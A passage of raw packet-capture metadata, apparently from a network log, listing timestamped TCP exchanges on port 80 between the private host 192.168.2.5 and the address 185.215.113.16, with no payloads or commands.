Oct 24, 2024 08:38:13.865739107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.865751028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.865952015 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.866024971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.866077900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.866203070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.866214991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.866225004 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.866239071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.866250038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.866254091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.866269112 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.866297007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.871042013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.871061087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.871073008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.871102095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.871119976 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.871207952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.871221066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.871232033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.871254921 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.871265888 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.871370077 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.871380091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.871413946 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.894418001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.894429922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.894439936 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.894507885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.894529104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928018093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928044081 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928061962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928071976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928090096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928100109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928109884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928114891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928126097 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928138018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928141117 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928148031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928159952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928172112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928186893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928193092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928204060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928205967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928215981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928226948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928227901 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928240061 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928252935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928252935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928266048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928275108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928277969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928287029 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928292036 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928302050 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.928319931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.928344965 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939076900 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939096928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939109087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939167976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939168930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939188957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939189911 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939202070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939213037 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939213991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939225912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939240932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939268112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939274073 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939280033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939291954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939325094 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939337015 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939635992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939649105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939660072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939670086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939681053 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939681053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939692020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.939719915 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.939747095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.948424101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948436975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948447943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948461056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948560953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948606014 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.948632956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.948740959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948751926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948762894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948775053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948793888 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.948805094 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.948919058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948930025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948942900 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948954105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948965073 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.948971987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.948987961 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949006081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949067116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949079990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949091911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949101925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949114084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949115038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949126005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949140072 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949171066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949220896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949232101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949245930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949258089 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949259996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949287891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949306965 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949374914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949385881 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949399948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949412107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949419022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949430943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949438095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949455976 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949481010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949533939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949543953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949557066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949579954 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949603081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949690104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949702024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949713945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949727058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949738026 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949739933 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949752092 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949769974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949780941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949851036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949863911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949877024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949887991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949896097 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949901104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.949922085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.949934006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950004101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950015068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950026035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950052023 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950074911 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950074911 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950161934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950174093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950186014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950198889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950201035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950233936 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950325966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950339079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950352907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950362921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950372934 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950377941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950396061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950421095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950459957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950470924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950489044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950500965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950503111 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950511932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950524092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950525999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950535059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950541973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950548887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950556040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950561047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950573921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950579882 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950584888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950596094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950598001 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950608969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950620890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950620890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950647116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950648069 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950659037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950663090 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950690985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.950808048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.950850010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.984282017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.984296083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.984308004 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.984322071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.984334946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.984402895 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.984425068 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.987955093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.987976074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.987987995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.988044024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.988054037 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.988055944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.988068104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.988091946 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.988147020 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.011142015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.011163950 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.011173964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.011194944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.011208057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.011220932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.011305094 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.011327982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.011363983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.011404991 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.044929028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.044949055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.044981003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.044997931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045013905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045030117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045053959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045069933 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045084000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045109034 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045125961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045140982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045140982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045157909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045171022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045173883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045186996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045190096 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045205116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045218945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045221090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045242071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045259953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045325041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045340061 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045356035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045372009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045387030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045402050 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045408010 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045437098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045562029 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045609951 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.045618057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.045661926 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056112051 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056128025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056145906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056201935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056214094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056229115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056248903 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056248903 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056248903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056274891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056277990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056291103 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056292057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056307077 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056308985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056322098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056324005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056339979 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056344032 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056344032 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056354046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056375980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056380987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056391001 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056404114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056416988 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056420088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056447983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056469917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056473017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056488037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056502104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056509018 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056519985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056528091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056535006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056556940 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.056663036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.056701899 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065439939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065454960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065511942 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065607071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065620899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065658092 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065762997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065778971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065794945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065807104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065831900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065884113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065908909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065929890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065934896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065949917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065952063 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065967083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065970898 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065983057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.065988064 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.065999031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066003084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066010952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066014051 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.066036940 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.066051960 CEST	80	60982	185.215.113.16	192.168.2.5
